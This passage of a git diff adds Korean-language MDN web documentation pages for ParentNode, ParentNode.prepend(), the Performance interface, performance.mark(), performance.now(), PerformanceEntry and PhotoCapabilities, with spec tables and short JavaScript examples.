+ <dt>{{domxref("ParentNode.prepend()")}} {{experimental_inline}}</dt>
+ <dd><code>ParentNode</code>의 첫 번째 자식 이전에, 주어진 {{domxref("Node")}}나 {{domxref("DOMString")}} 객체를 삽입합니다. <code>DOMString</code> 객체는 동등한 {{domxref("Text")}}처럼 취급합니다.</dd>
+ <dt>{{domxref("ParentNode.querySelector()")}}</dt>
+ <dd>현재 <code>ParentNode</code>를 기준으로, 하위 요소 중 주어진 선택자를 만족하는 첫 번째 {{domxref("Element")}}를 반환합니다.</dd>
+ <dt>{{domxref("ParentNode.querySelectorAll()")}}</dt>
+ <dd>현재 <code>ParentNode</code>를 기준으로, 하위 요소 중 주어진 선택자를 만족하는 모든 요소의 {{domxref("NodeList")}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#parentnode', 'ParentNode')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Split the <code>ElementTraversal</code> interface into {{domxref("ChildNode")}} and {{domxref("ParentNode")}}. The {{domxref("ParentNode.firstElementChild")}}, {{domxref("ParentNode.lastElementChild")}}, and {{domxref("ParentNode.childElementCount")}} properties are now defined on the latter. Added the {{domxref("ParentNode.children")}} property, and the {{domxref("ParentNode.querySelector()")}}, {{domxref("ParentNode.querySelectorAll()")}}, {{domxref("ParentNode.append()")}}, and {{domxref("ParentNode.prepend()")}} methods.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+ <td>{{Spec2('Element Traversal')}}</td>
+ <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and used it on {{domxref("Element")}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.ParentNode")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("ChildNode")}} 순수 인터페이스.</li>
+ <li>
+ <div class="syntaxbox"><code>ParentNode</code>를 구현하는 {{domxref("Document")}}, {{domxref("Element")}}, {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/ko/web/api/parentnode/prepend/index.html b/files/ko/web/api/parentnode/prepend/index.html
new file mode 100644
index 0000000000..1877529adc
--- /dev/null
+++ b/files/ko/web/api/parentnode/prepend/index.html
@@ -0,0 +1,133 @@
+---
+title: ParentNode.prepend()
+slug: Web/API/ParentNode/prepend
+translation_of: Web/API/ParentNode/prepend
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>ParentNode.prepend()</code></strong> 메소드는 {{domxref("Node")}} 객체 또는{{domxref("DOMString")}} 객체를 {{domxref("ParentNode")}}의 첫 자식노드 앞에 삽입한다. {{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입된다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>ParentNode</em>.prepend(<em>...nodesToPrepend</em>);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>nodesToPrepend</code></dt>
+ <dd>One or more nodes to insert before the first child node currently in the <code>ParentNode</code>. Each node can be specified as either a {{domxref("Node")}} object or as a string; strings are inserted as new {{domxref("Text")}} nodes.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p><code>undefined</code>.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}}: Node cannot be inserted at the specified point in the hierarchy.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Prepending_an_element">Prepending an element</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+var span = document.createElement("span");
+parent.append(p);
+parent.prepend(span);
+
+console.log(parent.childNodes); // NodeList [ &lt;span&gt;, &lt;p&gt; ]
+</pre>
+
+<h3 id="Prepending_text">Prepending text</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+parent.append("Some text");
+parent.prepend("Headline: ");
+
+console.log(parent.textContent); // "Headline: Some text"</pre>
+
+<h3 id="Appending_an_element_and_text">Appending an element and text</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.prepend("Some text", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Some text", &lt;p&gt; ]</pre>
+
+<h3 id="ParentNode.prepend()_is_unscopable"><code>ParentNode.prepend()</code> is unscopable</h3>
+
+<p>The <code>prepend()</code> method is not scoped into the <code>with</code> statement. See {{jsxref("Symbol.unscopables")}} for more information.</p>
+
+<pre class="brush: js">var parent = document.createElement("div");
+
+with(parent) {
+ prepend("foo");
+}
+// ReferenceError: prepend is not defined </pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>You can polyfill the <code>prepend()</code> method if it's not available:</p>
+
+<pre class="brush: js">// Source: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/prepend()/prepend().md
+(function (arr) {
+ arr.forEach(function (item) {
+ if (item.hasOwnProperty('prepend')) {
+ return;
+ }
+ Object.defineProperty(item, 'prepend', {
+ configurable: true,
+ enumerable: true,
+ writable: true,
+ value: function prepend() {
+ var argArr = Array.prototype.slice.call(arguments),
+ docFrag = document.createDocumentFragment();
+
+ argArr.forEach(function (argItem) {
+ var isNode = argItem instanceof Node;
+ docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+ });
+
+ this.insertBefore(docFrag, this.firstChild);
+ }
+ });
+ });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-parentnode-prepend', 'ParentNode.prepend()')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ParentNode.prepend")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("ParentNode")}} and {{domxref("ChildNode")}}</li>
+ <li>{{domxref("ParentNode.append()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("ChildNode.before()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ko/web/api/performance/index.html b/files/ko/web/api/performance/index.html
new file mode 100644
index 0000000000..28e3a63c06
--- /dev/null
+++ b/files/ko/web/api/performance/index.html
@@ -0,0 +1,138 @@
+---
+title: Performance
+slug: Web/API/Performance
+tags:
+ - API
+ - Interface
+ - Navigation Timing
+ - NeedsTranslation
+ - Performance
+ - Reference
+ - TopicStub
+ - Web Performance
+translation_of: Web/API/Performance
+---
+<div>{{APIRef("High Resolution Time")}}</div>
+
+<p>The <strong><code>Performance</code></strong> interface represents timing-related performance information for the given page.</p>
+
+<p>An object of this type can be obtained by calling the {{domxref("Window.performance")}} read-only attribute.</p>
+
+<div class="note">
+<p><strong><em>Note</em>: </strong>This interface and its members are available in <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>, except where indicated below. Note that some available parts of the interface are not yet documented (see the <a href="http://www.w3.org/TR/performance-timeline/#sec-window.performance-attribute">Performance Timeline</a> and <a href="http://www.w3.org/TR/user-timing/#extensions-performance-interface">User Timing</a> specs for more details.) Also note that performance markers and measures are per context. If you create a mark on the main thread (or other worker), you cannot see it in a worker thread, and vice versa.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The <code>Performance</code> interface doesn't inherit any properties.</em></p>
+
+<dl>
+ <dt>{{domxref("Performance.navigation")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("PerformanceNavigation")}} object representing the type of navigation that occurs in the given browsing context, like the amount of redirections needed to fetch the resource. Not available in workers.</dd>
+ <dt>{{domxref("Performance.onframetimingbufferfull")}}</dt>
+ <dd>TBD</dd>
+ <dt>{{domxref("Performance.onresourcetimingbufferfull")}}</dt>
+ <dd>Is an {{domxref("EventTarget")}} which is a callback that will be called when the {{event("resourcetimingbufferfull")}} event is fired.</dd>
+ <dt>{{domxref("Performance.timing")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("PerformanceTiming")}} object containing latency-related performance information. Not available in workers.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em><em>The <code>Performance</code> interface doesn't inherit any </em>method</em>.</p>
+
+<dl>
+ <dt>{{domxref("Performance.clearFrameTimings()")}}</dt>
+ <dd>TBD</dd>
+ <dt>{{domxref("Performance.clearMarks()")}}</dt>
+ <dd>Removes the given <em>mark</em> from the browser's performance entry buffer.</dd>
+ <dt>{{domxref("Performance.clearMeasures()")}}</dt>
+ <dd>Removes the given <em>measure</em> from the browser's performance entry buffer.</dd>
+ <dt>{{domxref("Performance.clearResourceTimings()")}}</dt>
+ <dd>Removes all {{domxref("PerformanceEntry","performance entries")}} with a {{domxref("PerformanceEntry.entryType","entryType")}} of "<code>resource</code>" from the browser's performance data buffer.</dd>
+ <dt>{{domxref("Performance.getEntries()")}}</dt>
+ <dd>Returns a list of {{domxref("PerformanceEntry")}} objects based on the given <em>filter</em>.</dd>
+ <dt>{{domxref("Performance.getEntriesByName()")}}</dt>
+ <dd>Returns a list of {{domxref("PerformanceEntry")}} objects based on the given <em>name</em> and <em>entry type</em>.</dd>
+ <dt>{{domxref("Performance.getEntriesByType()")}}</dt>
+ <dd>Returns a list of {{domxref("PerformanceEntry")}} objects of the given <em>entry type</em>.</dd>
+ <dt>{{domxref("Performance.mark()")}}</dt>
+ <dd>Creates a {{domxref("DOMHighResTimeStamp","timestamp")}} in the browser's <em>performance entry buffer</em> with the given name.</dd>
+ <dt>{{domxref("Performance.measure()")}}</dt>
+ <dd>Creates a named {{domxref("DOMHighResTimeStamp","timestamp")}} in the browser's performance entry buffer between two specified marks (known as the <em>start mark</em> and <em>end mark</em>, respectively).</dd>
+ <dt>{{domxref("Performance.now()")}}</dt>
+ <dd>Returns a {{domxref("DOMHighResTimeStamp")}} representing the amount of milliseconds elapsed since a reference instant.</dd>
+ <dt>{{domxref("Performance.setFrameTimingBufferSize()")}}</dt>
+ <dd>TBD</dd>
+ <dt>{{domxref("Performance.setResourceTimingBufferSize()")}}</dt>
+ <dd>Sets the browser's resource timing buffer size to the specified number of "<code>resource</code>" {{domxref("PerformanceEntry.entryType","type")}} {{domxref("PerformanceEntry","performance entry")}} objects.</dd>
+ <dt>{{domxref("Performance.toJSON()")}}</dt>
+ <dd>Is a jsonizer returning a json object representing the <code>Performance</code> object.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Highres Time Level 2', '#the-performance-interface', 'toJSON()')}}</td>
+ <td>{{Spec2('Highres Time Level 2')}}</td>
+ <td>Defines <code>toJson()</code> method.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Highres Time', '#the-performance-interface', 'Performance')}}</td>
+ <td>{{Spec2('Highres Time')}}</td>
+ <td>Defines <code>now()</code> method.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Navigation Timing', '#sec-window.performance-attribute', 'Performance')}}</td>
+ <td>{{Spec2('Navigation Timing')}}</td>
+ <td>Defines <code>timing</code> and <code>navigation</code> properties.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Performance Timeline Level 2', '#extensions-to-the-performance-interface', 'Performance extensions')}}</td>
+ <td>{{Spec2('Performance Timeline Level 2')}}</td>
+ <td>Changes <code>getEntries()</code> interface.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Performance Timeline', '#sec-window.performance-attribute', 'Performance extensions')}}</td>
+ <td>{{Spec2('Performance Timeline')}}</td>
+ <td>Defines <code>getEntries()</code>, <code>getEntriesByType()</code> and <code>getEntriesByName()</code> methods.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Resource Timing', '#extensions-performance-interface', 'Performance extensions')}}</td>
+ <td>{{Spec2('Resource Timing')}}</td>
+ <td>Defines <code>clearResourceTimings()</code> and <code>setResourceTimingBufferSize()</code> methods and the <code>onresourcetimingbufferfull</code> property.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('User Timing Level 2', '#extensions-performance-interface', 'Performance extensions')}}</td>
+ <td>{{Spec2('User Timing Level 2')}}</td>
+ <td>Clarifies <code>mark()</code>, <code>clearMark()</code>, <code>measure()</code> and <code>clearMeasure()</code> methods.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('User Timing', '#extensions-performance-interface', 'Performance extensions')}}</td>
+ <td>{{Spec2('User Timing')}}</td>
+ <td>Defines <code>mark()</code>, <code>clearMark()</code>, <code>measure()</code> and <code>clearMeasure()</code> methods.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('<span style="line-height: 1.5;">Frame Timing', '#extensions-performance-interface','Performance extensions')}}</span></td>
+ <td>{{Spec2('User Timing')}}</td>
+ <td>Defines <code>clearFrameTimings()</code>, <code>setFrameTimingBufferSize()</code>, and <code>onframetimingbufferfull</code> methods.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.Performance")}}</p>
+</div>
+</div>
diff --git a/files/ko/web/api/performance/mark/index.html b/files/ko/web/api/performance/mark/index.html
new file mode 100644
index 0000000000..7c4261e1ba
--- /dev/null
+++ b/files/ko/web/api/performance/mark/index.html
@@ -0,0 +1,101 @@
+---
+title: performance.mark()
+slug: Web/API/Performance/mark
+tags:
+ - API
+ - Method
+ - Reference
+ - Web Performance
+translation_of: Web/API/Performance/mark
+---
+<div>{{APIRef("User Timing API")}}</div>
+
+<p><strong><code>mark()</code></strong> 메소드는 브라우저의 <em>performance entry buffer</em>에 주어진 이름으로 {{domxref("DOMHighResTimeStamp","timestamp")}}를 생성합니다. timestamp가 정의된 응용프로그램은 {{domxref("Performance")}} 인터페이스의 <code>getEntries*()</code> 메소드들을 통해 불러올 수 있습니다. ({{domxref("Performance.getEntries","getEntries()")}}, {{domxref("Performance.getEntriesByName","getEntriesByName()")}}, {{domxref("Performance.getEntriesByType","getEntriesByType()")}}).</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p><code>mark</code>의 {{domxref("PerformanceEntry","performance entry")}}는 다음 속성값을 갖습니다:</p>
+
+<ul>
+ <li>{{domxref("PerformanceEntry.entryType","entryType")}} - "<code>mark</code>"로 설정됩니다.</li>
+ <li>{{domxref("PerformanceEntry.name","name")}} - mark가 생성될 때 주어진 "<code>name</code>"으로 설정됩니다.</li>
+ <li>{{domxref("PerformanceEntry.startTime","startTime")}} - <code>mark()</code>가 호출되었을 때의 {{domxref("DOMHighResTimeStamp","timestamp")}}가 설정됩니다.</li>
+ <li>{{domxref("PerformanceEntry.duration","duration")}} - "<code>0</code>"으로 설정됩니다. (<em>duration</em>이 없는 mark).</li>
+</ul>
+
+<p>만약 메서드에 주어진 <code>name</code>이 이미 {{domxref("PerformanceTiming")}} 인터페이스 상에 존재한다면 {{jsxref("SyntaxError")}}를 throw 합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>performance</em>.mark(name);
+</pre>
+
+<h3 id="Arguments">Arguments</h3>
+
+<dl>
+ <dt>name</dt>
+ <dd>mark의 이름을 나타내는 {{domxref("DOMString")}}.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<dl>
+ <dt>void</dt>
+ <dd></dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 예시는 mark()를 사용하여 {{domxref("PerformanceMark")}}를 생성하고 불러오는 방법을 보여줍니다.</p>
+
+<pre class="brush:js">// Create a bunch of marks.
+performance.mark("squirrel");
+performance.mark("squirrel");
+performance.mark("monkey");
+performance.mark("monkey");
+performance.mark("dog");
+performance.mark("dog");
+
+// Get all of the PerformanceMark entries.
+const allEntries = performance.getEntriesByType("mark");
+console.log(allEntries.length);
+// 6
+
+// Get all of the "monkey" PerformanceMark entries.
+const monkeyEntries = performance.getEntriesByName("monkey");
+console.log(monkeyEntries.length);
+// 2
+
+// Clear out all of the marks.
+performance.clearMarks();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('User Timing Level 2', '#dom-performance-mark', 'mark()')}}</td>
+ <td>{{Spec2('User Timing Level 2')}}</td>
+ <td>Clarifies <code>mark()</code> processing model.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('User Timing', '#dom-performance-mark', 'mark()')}}</td>
+ <td>{{Spec2('User Timing')}}</td>
+ <td>Basic definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.Performance.mark")}}</p>
+</div>
diff --git a/files/ko/web/api/performance/now/index.html b/files/ko/web/api/performance/now/index.html
new file mode 100644
index 0000000000..f252b19a85
--- /dev/null
+++ b/files/ko/web/api/performance/now/index.html
@@ -0,0 +1,99 @@
+---
+title: performance.now()
+slug: Web/API/Performance/now
+tags:
+ - Performance
+ - performance.now
+translation_of: Web/API/Performance/now
+---
+<div>{{APIRef("High Resolution Timing")}}</div>
+
+<p>The <code><strong>performance.now()</strong></code> method returns a {{domxref("DOMHighResTimeStamp")}}, measured in milliseconds.</p>
+
+<div class="warning">
+<p>The timestamp is not actually high-resolution. To mitigate security threats such as <a href="https://spectreattack.com/">Spectre</a>, browsers currently round the results to varying degrees. (Firefox started rounding to 1 millisecond in Firefox 60.) Some browsers may also slightly randomize the timestamp. The precision may improve again in future releases; browser developers are still investigating these timing attacks and how best to mitigate them.</p>
+</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>The returned value represents the time elapsed since the <a href="/en-US/docs/Web/API/DOMHighResTimeStamp#The_time_origin">time origin</a>.</p>
+
+<p>Bear in mind the following points:</p>
+
+<ul>
+ <li>In dedicated workers created from a {{domxref("Window")}} context, the value in the worker will be lower than <code>performance.now()</code> in the window who spawned that worker. It used to be the same as <code>t0</code> of the main context, but this was changed.</li>
+ <li>In shared or service workers, the value in the worker might be higher than that of the main context because that window can be created after those workers.</li>
+</ul>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>t</em> = performance.now();</pre>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var t0 = performance.now();
+doSomething();
+var t1 = performance.now();
+console.log("Call to doSomething took " + (t1 - t0) + " milliseconds.");
+</pre>
+
+<p>Unlike other timing data available to JavaScript (for example <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now"><code>Date.now</code></a>), the timestamps returned by <code>performance.now()</code> are not limited to one-millisecond resolution. Instead, they represent times as floating-point numbers with up to microsecond precision.</p>
+
+<p>Also unlike <code>Date.now()</code>, the values returned by <code>performance.now() </code>always increase at a constant rate, independent of the system clock (which might be adjusted manually or skewed by software like NTP). Otherwise, <code>performance.timing.navigationStart + performance.now() </code>will be approximately equal to<code> Date.now()</code>.</p>
+
+<h2 id="Reduced_time_precision">Reduced time precision</h2>
+
+<p>To offer protection against timing attacks and fingerprinting, the precision of <code>performance.now()</code> might get rounded depending on browser settings.<br>
+ In Firefox, the <code>privacy.reduceTimerPrecision</code>  preference is enabled by default and defaults to 1ms.</p>
+
+<pre class="brush: js">// reduced time precision (1ms) in Firefox 60
+performance.now();
+// 8781416
+// 8781815
+// 8782206
+// ...
+
+
+// reduced time precision with `privacy.resistFingerprinting` enabled
+performance.now();
+// 8865400
+// 8866200
+// 8866700
+// ...
+</pre>
+
+<p>In Firefox, you can also enable <code>privacy.resistFingerprinting</code> — this changes the precision to 100ms or the value of <code>privacy.resistFingerprinting.reduceTimerPrecision.microseconds</code>, whichever is larger.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Highres Time Level 2', '#dom-performance-now', 'performance.now()')}}</td>
+ <td>{{Spec2('Highres Time Level 2')}}</td>
+ <td>Stricter definitions of interfaces and types.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Highres Time', '#dom-performance-now', 'performance.now()')}}</td>
+ <td>{{Spec2('Highres Time')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Performance.now")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="http://updates.html5rocks.com/2012/08/When-milliseconds-are-not-enough-performance-now">When milliseconds are not enough: performance.now() </a>from HTML5 Rocks.</li>
+</ul>
diff --git a/files/ko/web/api/performanceentry/index.html b/files/ko/web/api/performanceentry/index.html
new file mode 100644
index 0000000000..35c6271781
--- /dev/null
+++ b/files/ko/web/api/performanceentry/index.html
@@ -0,0 +1,142 @@
+---
+title: PerformanceEntry
+slug: Web/API/PerformanceEntry
+translation_of: Web/API/PerformanceEntry
+---
+<div>{{APIRef("Performance Timeline API")}}</div>
+
+<p><span class="seoSummary"><strong><code>PerformanceEntry</code></strong> 객체는 <em>performance timeline</em> 상의 단일 성능 수치를 캡슐화 합니다. <em>performance entry</em>는 응용프로그램의 특정 지점에서 performance <em>{{domxref("PerformanceMark","mark")}}</em>나 <em>{{domxref("PerformanceMeasure","measure")}}</em>를 생성함으로써 (예를 들면 {{domxref("Performance.mark","mark()")}}를 호출하는 방법으로) 직접적으로 만들어질 수 있습니다. 또는 (이미지와 같은) 리소스를 로딩하는 등의 간접적인 방법으로 생성되기도 합니다.</span></p>
+
+<p><code>PerformanceEntry</code> 인스턴스는 항상 다음 서브타입들 중 하나를 따릅니다:</p>
+
+<ul>
+ <li>{{domxref("PerformanceMark")}}</li>
+ <li>{{domxref("PerformanceMeasure")}}</li>
+ <li>{{domxref("PerformanceFrameTiming")}}</li>
+ <li>{{domxref("PerformanceNavigationTiming")}}</li>
+ <li>{{domxref("PerformanceResourceTiming")}}</li>
+ <li>{{domxref("PerformancePaintTiming")}}</li>
+</ul>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("PerformanceEntry.name")}} {{readonlyInline}}</dt>
+ <dd>A value that further specifies the value returned by the {{domxref("PerformanceEntry.entryType")}} property. The value of both depends on the subtype. See property page for valid values.</dd>
+ <dt>{{domxref("PerformanceEntry.entryType")}} {{readonlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} representing the type of performance metric such as, for example, "<code>mark</code>". See property page for valid values.</dd>
+ <dt>{{domxref("PerformanceEntry.startTime")}} {{readonlyInline}}</dt>
+ <dd>A {{domxref("DOMHighResTimeStamp")}} representing the starting time for the performance metric.</dd>
+ <dt>{{domxref("PerformanceEntry.duration")}} {{readonlyInline}}</dt>
+ <dd>A {{domxref("DOMHighResTimeStamp")}} representing the time value of the duration of the performance event.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("PerformanceEntry.toJSON","PerformanceEntry.toJSON()")}}</dt>
+ <dd>Returns a JSON representation of the <code>PerformanceEntry</code> object.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>The following example checks all <code>PerformanceEntry</code> properties to see if the browser supports them and if so, write their values to the console.</p>
+
+<pre class="brush: js">function print_PerformanceEntries() {
+ // Use getEntries() to get a list of all performance entries
+ var p = performance.getEntries();
+ for (var i=0; i &lt; p.length; i++) {
+ console.log("PerformanceEntry[" + i + "]");
+ print_PerformanceEntry(p[i]);
+ }
+}
+function print_PerformanceEntry(perfEntry) {
+ var properties = ["name",
+ "entryType",
+ "startTime",
+ "duration"];
+
+ for (var i=0; i &lt; properties.length; i++) {
+ // Check each property
+ var supported = properties[i] in perfEntry;
+ if (supported) {
+ var value = perfEntry[properties[i]];
+ console.log("... " + properties[i] + " = " + value);
+ } else {
+ console.log("... " + properties[i] + " is NOT supported");
+ }
+ }
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Resource Timing 3')}}</td>
+ <td>{{Spec2('Resource Timing 3')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Resource Timing 2')}}</td>
+ <td>{{Spec2('Resource Timing 2')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Resource Timing')}}</td>
+ <td>{{Spec2('Resource Timing')}}</td>
+ <td>Adds the {{domxref("PerformanceResourceTiming")}} interface and the <code>resource</code> value for <code>entryType</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Navigation Timing Level 2')}}</td>
+ <td>{{Spec2('Navigation Timing Level 2')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Navigation Timing')}}</td>
+ <td>{{Spec2('Navigation Timing')}}</td>
+ <td>Adds the {{domxref("PerformanceNavigationTiming")}} interface and the <code>navigation</code> value for <code>entryType</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('User Timing Level 2')}}</td>
+ <td>{{Spec2('User Timing Level 2')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('User Timing')}}</td>
+ <td>{{Spec2('User Timing')}}</td>
+ <td>Adds the {{domxref("PerformanceMark")}} and {{domxref("PerformanceMeasure")}} interfaces as well as the <code>mark</code> and <code>measure</code> values for <code>entryType</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Frame Timing')}}</td>
+ <td>{{Spec2('Frame Timing')}}</td>
+ <td>Adds the {{domxref('PerformanceFrameTiming')}} interface and the <code>frame</code> value for <code>entryType</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Performance Timeline Level 2', '#dom-performanceentry', 'PerformanceEntry')}}</td>
+ <td>{{Spec2('Performance Timeline Level 2')}}</td>
+ <td>Added <code>toJSON()</code> serializer method.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Performance Timeline', '#dom-performanceentry', 'PerformanceEntry')}}</td>
+ <td>{{Spec2('Performance Timeline')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.PerformanceEntry")}}</p>
+</div>
diff --git a/files/ko/web/api/photocapabilities/index.html b/files/ko/web/api/photocapabilities/index.html
new file mode 100644
index 0000000000..5cf3842b87
--- /dev/null
+++ b/files/ko/web/api/photocapabilities/index.html
@@ -0,0 +1,84 @@
+---
+title: PhotoCapabilities
+slug: Web/API/PhotoCapabilities
+tags:
+ - API
+ - Experimental
+ - Interface
+ - MediaStream Image Capture API
+ - PhotoCapabilities
+ - Reference
+translation_of: Web/API/PhotoCapabilities
+---
+<div>{{APIRef("MediaStream Image")}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/API/MediaStream_Image_Capture_API">MediaStream Image Capture API</a>의 <code>PhotoCapabilities</code> 인터페이스는 장착된 촬영 장치에서 사용 가능한 설정 옵션을 제공합니다. <code>PhotoCapabilities</code> 객체는 {{domxref("ImageCapture.getPhotoCapabilities()")}}를 사용해 가져올 수 있습니다..</span></p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("PhotoCapabilities.redEyeReduction")}} {{readonlyinline}}</dt>
+ <dd>장치의 적목 현상 감소 기능 적용 여부를 나타내는 열거형 값을 반환합니다. 가능한 값은 <code>"never"</code>, <code>"always"</code>, <code>"controllable"</code>로, <code>"controllable"</code>이어야 설정 가능합니다.</dd>
+ <dt>{{domxref("PhotoCapabilities.imageHeight")}} {{readonlyinline}}</dt>
+ <dd>{{glossary("user agent", "사용자 에이전트")}}가 지원하는 이미지 높이를 나타내는 {{domxref("MediaSettingsRange")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("PhotoCapabilities.imageWidth")}} {{readonlyinline}}</dt>
+ <dd>{{glossary("user agent", "사용자 에이전트")}}가 지원하는 이미지 너비를 나타내는 {{domxref("MediaSettingsRange")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("PhotoCapabilities.fillLightMode")}} {{readonlyinline}}</dt>
+ <dd>사용 가능한 플래시 옵션을 담은 배열을 반환합니다. 가능한 값은 <code>auto</code>, <code>off</code>, <code>flash</code>입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
